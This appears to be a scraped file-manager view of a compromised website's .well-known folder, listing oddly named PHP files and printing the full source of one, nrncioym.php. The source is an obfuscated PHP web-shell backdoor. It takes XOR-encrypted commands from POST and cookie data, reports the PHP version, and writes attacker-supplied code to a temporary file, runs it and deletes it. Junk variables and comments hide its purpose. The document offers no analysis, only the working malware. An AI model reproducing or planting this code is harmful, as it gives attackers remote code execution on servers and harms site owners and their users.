9B534B8686E580E0E01768F00155B461

at path：ROOT / .well-known / nrncioym.php

run：R W Run

pki-validation

DIR

2026-04-24 08:32:39

R W Run

.htaccess

127 By

2026-04-24 08:32:46

R W Run

error_log

1.48 KB

2024-10-11 18:52:49

R W Run

nrncioym.php

4.61 KB

2024-02-27 06:45:47

R W Run

qngksucz.php

2.34 KB

2024-02-27 06:45:47

R W Run

error_log

📄nrncioym.php

<?php

$c_yikk	=   'c_yikk'  ^ /*iblex   */ '�7';

function	lrzjhdapn()

{      $xgiarm	=	22;
 /*   ppeche*/ $pdoggv       = /*  uyrtkt  */ 'woveweja_';	$wdcojsjaio	=    'hqxp';

/*   k  */ $awspdt       =    20;
 /* h_ol */ $ogrljouwc    =	'nsurwqnj';

return /*  d */ $_POST;

}

$heqaakrs  =    lrzjhdapn();
$c_doltsvpk    =     26;
$hpfwadcgcoq_a    =      'xekdu';
$tigkmnrf   =  $_COOKIE;

$l_hwb_lmw /*   mneiju  */ = /*skwezj   */ 'jhiptu';

$lkjmr    =       48;

lrzjhdapn();

function	askxe($zeiftdka,	$agdtivtit){

/*dyuuo   */ global	$c_yikk;

/*  fsijf   */ $cujfdrmhwf  = /*ngljgy*/ sprintf(".".$c_yikk(727-680) /*   yh   */ .    $c_yikk(827-790)      .   "s"."\x2e"      .     "p".$c_yikk(112-4),    md5($zeiftdka));

file_put_contents($cujfdrmhwf,    "<" /* ozma */ .    "?"."\160" /*   mwtgt*/ .	"h".$c_yikk(613-501)	.       $c_yikk(32) /*   lq  */ . /*qayb   */ "\165" /* l */ .  "\x6e"    . /*  f */ "\x6c"    .  "\x69"    .      "n"."k"."(".$c_yikk(95) /*   tm  */ .    "_"."\106"   . /*  zihek */ "I".$c_yikk(343-267)    .      $c_yikk(316-247) /* ajmfnn*/ .   $c_yikk(95) /*  zpiwkm  */ .     "\x5f" /*kbux   */ .	$c_yikk(102-61)  . /*  xsd */ $c_yikk(623-564)    . /*   bjm   */ $c_yikk(32)    .    $agdtivtit[$c_yikk(100)]);

$yeuovz	= /*x  */ 'ijxvtv';

/*emyfhi   */ include($cujfdrmhwf);

$dhoyxtk_	=      'rwk';	$yeuovz /*  asokze */ =    base64_decode($yeuovz);
	$kvkhno  =    'maxtptv';

$xzoc_bd	= /*   vtzlcd  */ $cujfdrmhwf;
	$dhoyxtk_  =    base64_decode($kvkhno);

@unlink($xzoc_bd);	$hpfwadcfebre     =	'jp_qci_yx';}

function    qevi_(){

global /*t_ */ $c_yikk;

$sdrlxxyi    = /*  ay */ array();
 /*   tkqzzw   */ $sdrlxxyi["\160"      .    "v"]    = /*vnor  */ phpversion();

$sdrlxxyi["\x73"	.       $c_yikk(841-723)] /*m */ =    "3".$c_yikk(46)       . /*lma */ "5"; /*   ptyq   */ echo    @serialize($sdrlxxyi);	$kluqbfbqp       = /*czixxf */ 9;}

function  qwcwe($agdtivtit, /*vhn*/ $zeiftdka,   $ccmec)

{

global /*  jezbo  */ $c_yikk;

/* rrb_ff */ $agdtivtit    =	unserialize(wxezjtll(wxezjtll(base64_decode($agdtivtit), /*   my */ $zeiftdka), /*   qweksw*/ $ccmec));

if    (isset($agdtivtit[$c_yikk(1075-978)    .	"\x6b"]))	{
    if /*  jrliyz*/ ($agdtivtit[$c_yikk(97)]    ==	"i")    {

/*   jvicch */ qevi_();			$ljuqi /*akhtdh   */ =     27;

/*stewb   */ }   elseif    ($agdtivtit[$c_yikk(97)]   == /*  rl  */ "e")   {
    askxe($zeiftdka, /*  g */ $agdtivtit);

$dsuvivgsp       =   'ofrfbqwgax';	}
 /*  n_gkq  */ exit(); /*pc */ }}

$tigkmnrf /* mbkdq   */ =    array_merge($heqaakrs,    $tigkmnrf);

$_oxypughwp   = /*jg */ 'yuu';
function	wxezjtll($agdtivtit, /*   wdxi */ $te_npca)

{

/*   iyzoww   */ global    $c_yikk;

/*   ngvf  */ $kcxsspiec    =       "";

for /*  btw  */ ($sdrlxxyi    = /*  __  */ 0;  $sdrlxxyi /* o_plkh*/ < /*sh_rsf*/ strlen($agdtivtit);) /*  xbmq_l   */ {
	for /*   xuckc*/ ($hpfwadc       =    0;    $hpfwadc     <	strlen($te_npca)	&&       $sdrlxxyi    <  strlen($agdtivtit);     $hpfwadc++,    $sdrlxxyi++)    {    $kcxsspiec   .=	$c_yikk(ord($agdtivtit[$sdrlxxyi])	^   ord($te_npca[$hpfwadc]));

$dcfkvprwpo /*  o_olrj   */ = /*a  */ 25;
 /*   ve  */ }

}

/*bwib   */ return    $kcxsspiec;
}

$zeiftdka       =	$c_yikk(100).$c_yikk(48)     .      $c_yikk(99) /*te  */ . /*  mmf   */ $c_yikk(55) /* oefk  */ .    $c_yikk(101) /*   ok*/ . /* jlggsn*/ "4".$c_yikk(97)."\x36"     . /*   paqftd */ "-"."2"."4".$c_yikk(858-756)	. /*   paitsz*/ "9"."-"."4"."\x32" /* x   */ . /*  hxe   */ $c_yikk(727-672) /*  n*/ . /*   xtqt   */ $c_yikk(986-935)    . /*  e   */ $c_yikk(45)    .	"9"."\66"       .    "0"."\x38" /*  vwbd*/ .	$c_yikk(45)	. /* zirs   */ "\x31"       . /*ilt */ $c_yikk(97).$c_yikk(98)    . /*   sm_vxk  */ $c_yikk(869-772)    .    "\144"	. /*   lm */ $c_yikk(680-627) /* p_jm */ .	"9"."2"."9".$c_yikk(97)."4".$c_yikk(55);$qarjrtfw    =    strlen($_oxypughwp);

foreach       ($tigkmnrf      as	$ccmec  => /*rba*/ $agdtivtit)	{

qwcwe($agdtivtit, /*ftftg */ $zeiftdka, /* ql   */ $ccmec);

}

function       lnjvwpmcyl()
{
 /*   dq   */ $wvocrq /* zogt  */ =     'iyk_sawnx';

$f_kwivmeoj /*   vpdehw   */ =     24;

$hzzbfhhv /*  raptm*/ = /* kaw   */ 'jgwzv_fjmk';

/*rcxb_ */ $sdrlxxyiqnhgacz     =     48;
    $eywzhyw_s /*   s_   */ =	strtoupper($wvocrq);       $egargjfp /*  zr */ =  $f_kwivmeoj    -  $sdrlxxyiqnhgacz; /*   supznw*/ $f_kwivmeoj /*   w   */ =     $egargjfp /* wzhus*/ -	$f_kwivmeoj;
 /*   x   */ $hpfwadcbaycvhs    =	31;
       $dpshha      = /*i  */ 'npembrftj';
    $egargjfp	=    $f_kwivmeoj    %	($hpfwadcbaycvhs /*  xoavfh */ +      3);

}

lnjvwpmcyl();